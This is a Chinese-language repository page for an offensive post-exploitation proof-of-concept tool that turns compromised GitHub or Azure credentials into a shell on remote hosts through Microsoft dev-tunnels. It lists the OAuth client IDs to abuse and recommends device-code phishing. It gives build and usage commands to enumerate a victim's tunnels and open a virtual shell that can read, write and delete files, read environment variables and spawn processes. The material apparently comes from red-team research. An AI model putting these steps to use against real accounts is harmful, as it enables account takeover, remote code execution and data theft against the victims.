xpn/Ouroboros
GitHub: xpn/Ouroboros
一款利用微软 dev-tunnels 协议实现隐蔽命令与控制的后渗透 PoC 工具,可将攻陷的 GitHub 或 Azure 凭据转化为对远程主机的实际操控能力。
Stars: 31 | Forks: 2
# Ouroboros

一款概念验证(POC)后渗透工具,允许连接到 dev-tunnel 并在上面执行命令。
博文地址:[https://specterops.io/blog/2026/04/30/dev-tunnels-the-accidental-c2/](https://specterops.io/blog/2026/04/30/dev-tunnels-the-accidental-c2/)
## 它是什么?
Microsoft dev-tunnels 被用作 VSCode Remote Connect(远程连接)功能的一部分,然而该协议支持许多底层实用功能。

## 它能用来做什么?
dev-tunnels 的身份验证使用以下 OAuth 方法之一:
* GitHub 账户 - Client ID 为 `01ab8ac9400c4e429b23`
* Azure 账户 - Client ID 为 `aebc6443-996d-45c2-90f0-388ff96faa56`
### GitHub 后渗透
如果你攻陷了一个 GitHub 账户,就可以通过授权 "Visual Studio Code" OAuth2 应用来枚举与该账户关联的任何 dev-tunnels:

该应用还支持 Device Code 注册,这意味着你可以从 OAuth2 Device Code 钓钓鱼,直接转变为对任何已注册的 dev-tunnels 的 RCE(远程代码执行)。
### Entra-ID 后渗透
有几种方法可以将其用于连接到 Entra ID 的 tunnel。
对于 FOCI,你可以使用任何属于 FOCI 且具有 `Dev Tunnels Service` 资源的 Client ID。其中最突出的是 `872cd9fa-d31f-45e0-9eab-6e460a02d1f1` (Visual Studio - Legacy)。
或者,Visual Studio Code 会使用 Client ID `aebc6443-996d-45c2-90f0-388ff96faa56` 来连接用户。
# 用法
构建方式:
```
cd ouroboros
cargo build
```
# 用法
首先,你需要列出所有现有的 tunnel。你可以通过以下方式执行此操作:
```
./ouroboros management --token [GITHUB/AZURE TOKEN]
```
返回的 tunnel 列表将如下所示:
```
Tunnel List:
Name: sneaky-fog-s5llk1t
Labels: ["prometheus", "protocolv4", "vscode-server-launcher", "_flag3"]
Created: "2025-11-03T11:20:51.376614Z"
Name: interesting-horse-lztwqbj
Labels: ["serenitylocal", "protocolv4", "vscode-server-launcher", "_flag8"]
Created: "2026-04-13T11:54:57.1330336Z"
```
然后,你可以使用以下命令生成一个虚拟 shell:
```
./ouroboros --name interesting-horse-lztwqbj --token [GITHUB/AZURE TOKEN]
```
支持多个命令:
```
>> help
Available commands:
help
gethostname
get_env
sys_kill
fs_stat
fs_read
fs_write
fs_rm
fs_mkdirp
fs_readdir
fs_rename
spawn [args...]
```
# 修补 russh
(由于此仓库中的 russh 已经被 patch 过,因此不需要此操作)...
由于 dev-tunnels 使用了一种奇怪的协议偏差(客户端使用了通常属于服务器的 forwarded-tcpip 通道),因此需要对 `russh` 进行 patch,相关的补丁文件位于 `russh.patch` 中。
可以通过以下方式应用该补丁:
```
cd russh
git apply ../patch/russh.patch
```
标签:Azure, Cargo, Device Code Phishing, Dev-Tunnels, Entra ID, FOCI, OAuth2, POC, RCE, Rust, SpecterOps, Tunnels, Visual Studio Code, VSCode, 可视化界面, 命令与控制, 嗅探欺骗, 数据展示, 权限维持, 横向移动, 红队, 编程工具, 编程规范, 网络流量审计, 远程代码执行, 通知系统, 钓鱼